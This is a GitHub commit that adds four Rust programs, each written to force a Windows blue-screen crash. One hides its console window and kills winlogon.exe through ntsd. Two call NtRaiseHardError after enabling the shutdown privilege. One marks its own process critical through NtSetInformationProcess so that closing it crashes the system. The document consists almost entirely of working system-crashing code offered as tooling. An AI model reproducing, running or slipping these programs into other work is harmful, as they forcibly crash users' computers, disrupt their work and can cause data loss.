Skip to content

Commit 6e8e59f

Browse files
authored
Add files via upload
1 parent fdb6be5 commit 6e8e59f

File tree

4 files changed

+246
-0
lines changed

4 files changed

+246
-0
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
/*
2+
Trigger BSOD by triggeing NTSD on winlogon.exe
3+
@5mukx
4+
*/
5+
6+
use std::ffi::CString;
7+
use std::process::Command;
8+
use winapi::um::wincon::GetConsoleWindow;
9+
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32};
10+
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
11+
use winapi::um::winnt::HANDLE;
12+
use winapi::um::winuser::{ShowWindow, SW_HIDE};
13+
14+
fn find_pid(procname: &str) -> Option<u32> {
15+
unsafe {
16+
let h_snapshot: HANDLE = CreateToolhelp32Snapshot(winapi::um::tlhelp32::TH32CS_SNAPPROCESS, 0);
17+
if h_snapshot == INVALID_HANDLE_VALUE {
18+
return None;
19+
}
20+
21+
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
22+
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
23+
24+
let mut h_result = Process32First(h_snapshot, &mut pe);
25+
while h_result != 0 {
26+
let exe_file = CString::new(procname).unwrap();
27+
let current_exe_file = CString::new(pe.szExeFile.iter().map(|&c| c as u8).collect::<Vec<u8>>()).unwrap();
28+
29+
if exe_file.as_c_str() == current_exe_file.as_c_str() {
30+
CloseHandle(h_snapshot);
31+
return Some(pe.th32ProcessID);
32+
}
33+
h_result = Process32Next(h_snapshot, &mut pe);
34+
}
35+
36+
CloseHandle(h_snapshot);
37+
None
38+
}
39+
}
40+
41+
fn main() {
42+
unsafe {
43+
let h_wnd = GetConsoleWindow();
44+
ShowWindow(h_wnd, SW_HIDE);
45+
46+
let pid = find_pid("winlogon.exe").or_else(|| find_pid("WINLOGON.EXE"));
47+
48+
if let Some(pid) = pid {
49+
let command = format!("cmd /c start /min ntsd -c q -p {} 1>nul 2>nul", pid);
50+
Command::new("cmd")
51+
.args(&["/C", &command])
52+
.status()
53+
.expect("Failed to execute command");
54+
} else {
55+
println!("Process not found.");
56+
return 0;
57+
}
58+
}
59+
}
60+
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
/*
2+
Program to invoke BSOD setting up privileges and provoking NtRaiseHardError.
3+
@5mukx
4+
5+
*/
6+
7+
use std::ptr;
8+
use ntapi::ntexapi::NtRaiseHardError;
9+
use winapi::shared::ntstatus::STATUS_ASSERTION_FAILURE;
10+
use winapi::shared::wtypesbase::ULONG;
11+
use winapi::um::processthreadsapi::GetCurrentProcess;
12+
use winapi::um::processthreadsapi::OpenProcessToken;
13+
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
14+
use winapi::um::winnt::{LUID, SE_PRIVILEGE_ENABLED, SE_SHUTDOWN_NAME, TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_QUERY};
15+
use winapi::um::winbase::LookupPrivilegeValueA;
16+
use winapi::um::errhandlingapi::GetLastError;
17+
use std::ffi::CString;
18+
19+
fn main() {
20+
println!("Press any key to trigger a BSOD.");
21+
let mut input = String::new();
22+
std::io::stdin().read_line(&mut input).unwrap();
23+
24+
unsafe {
25+
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
26+
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut token_handle) == 0 {
27+
println!("Failed to open process token.");
28+
return;
29+
}
30+
31+
let mut luid: LUID = LUID { LowPart: 0, HighPart: 0 };
32+
let shutdown_privilege = CString::new(SE_SHUTDOWN_NAME).unwrap();
33+
if LookupPrivilegeValueA(ptr::null(), shutdown_privilege.as_ptr(), &mut luid) == 0 {
34+
println!("Failed to lookup privilege value. Error: {}", GetLastError());
35+
return;
36+
}
37+
38+
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
39+
PrivilegeCount: 1,
40+
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
41+
Luid: luid,
42+
Attributes: SE_PRIVILEGE_ENABLED,
43+
}],
44+
};
45+
46+
AdjustTokenPrivileges(token_handle, 0, &tp as *const _ as *mut _, 0, ptr::null_mut(), ptr::null_mut());
47+
48+
if GetLastError() != 0 {
49+
println!("Failed to adjust token privileges. Error: {}", GetLastError());
50+
return;
51+
}
52+
53+
// Raise hard error
54+
let mut response: ULONG = 0;
55+
let status = NtRaiseHardError(
56+
STATUS_ASSERTION_FAILURE,
57+
0,
58+
0,
59+
ptr::null_mut(),
60+
6,
61+
&mut response
62+
);
63+
64+
if status != 0 {
65+
println!("Failed to raise hard error. Status: {}", status);
66+
}
67+
}
68+
}
69+
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
/*
2+
Program to invoke BSOD through NtSetInformationProcess.
3+
@5mukx
4+
*/
5+
6+
use std::mem;
7+
use std::ptr;
8+
use std::ffi::CString;
9+
use winapi::ctypes::c_void;
10+
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcessToken};
11+
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
12+
use winapi::um::winnt::{
13+
TOKEN_ADJUST_PRIVILEGES, TOKEN_QUERY, SE_DEBUG_NAME, TOKEN_PRIVILEGES, LUID, SE_PRIVILEGE_ENABLED,
14+
};
15+
use winapi::um::winbase::LookupPrivilegeValueA;
16+
use winapi::um::errhandlingapi::GetLastError;
17+
use ntapi::ntpsapi::NtSetInformationProcess;
18+
19+
fn main() {
20+
println!("Invoke BSOD");
21+
22+
unsafe {
23+
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
24+
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut token_handle) == 0 {
25+
println!("Failed to open process token. Error: {}", GetLastError());
26+
return;
27+
}
28+
29+
let mut luid: LUID = LUID { LowPart: 0, HighPart: 0 };
30+
let debug_privilege = CString::new(SE_DEBUG_NAME).unwrap();
31+
if LookupPrivilegeValueA(ptr::null(), debug_privilege.as_ptr(), &mut luid) == 0 {
32+
println!("Failed to lookup privilege value. Error: {}", GetLastError());
33+
return;
34+
}
35+
36+
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
37+
PrivilegeCount: 1,
38+
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
39+
Luid: luid,
40+
Attributes: SE_PRIVILEGE_ENABLED,
41+
}],
42+
};
43+
44+
AdjustTokenPrivileges(token_handle, 0, &tp as *const _ as *mut _, 0, ptr::null_mut(), ptr::null_mut());
45+
46+
let last_error = GetLastError();
47+
if last_error != 0 {
48+
println!("Failed to adjust token privileges. Error: {}", last_error);
49+
return;
50+
}
51+
52+
let current_process: *mut c_void = GetCurrentProcess();
53+
let is_critical = 1;
54+
let break_on_termination = 0x1D;
55+
56+
let status = NtSetInformationProcess(
57+
current_process,
58+
break_on_termination as u32,
59+
&is_critical as *const _ as *mut _,
60+
mem::size_of::<i32>() as u32,
61+
);
62+
63+
if status != 0 {
64+
println!("Failed to set process as critical. Status: {}", status);
65+
} else {
66+
println!("Process is now critical. Close this program to trigger a BSOD.");
67+
}
68+
}
69+
}
70+
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
/*
2+
BSOD using RtlAdjustPrivilege and NtRaiseHardError.
3+
@5mukx
4+
*/
5+
6+
extern crate libc;
7+
use std::ptr;
8+
9+
#[link(name = "ntdll")]
10+
extern "system" {
11+
fn RtlAdjustPrivilege(
12+
Privilege: i32,
13+
bEnablePrivilege: bool,
14+
IsThreadPrivilege: bool,
15+
PreviousValue: *mut bool,
16+
) -> u32;
17+
18+
fn NtRaiseHardError(
19+
ErrorStatus: u32,
20+
NumberOfParameters: u32,
21+
UnicodeStringParameterMask: u32,
22+
Parameters: *const libc::c_void,
23+
ValidResponseOption: u32,
24+
Response: *mut u32,
25+
) -> u32;
26+
}
27+
28+
fn main(){
29+
unsafe{
30+
RtlAdjustPrivilege(
31+
19,
32+
true,
33+
false,
34+
&mut false,
35+
);
36+
37+
NtRaiseHardError(
38+
0xc0000022,
39+
0,
40+
0,
41+
ptr::null(),
42+
6,
43+
&mut 0,
44+
);
45+
46+
}
47+
}

0 commit comments

Comments
 (0)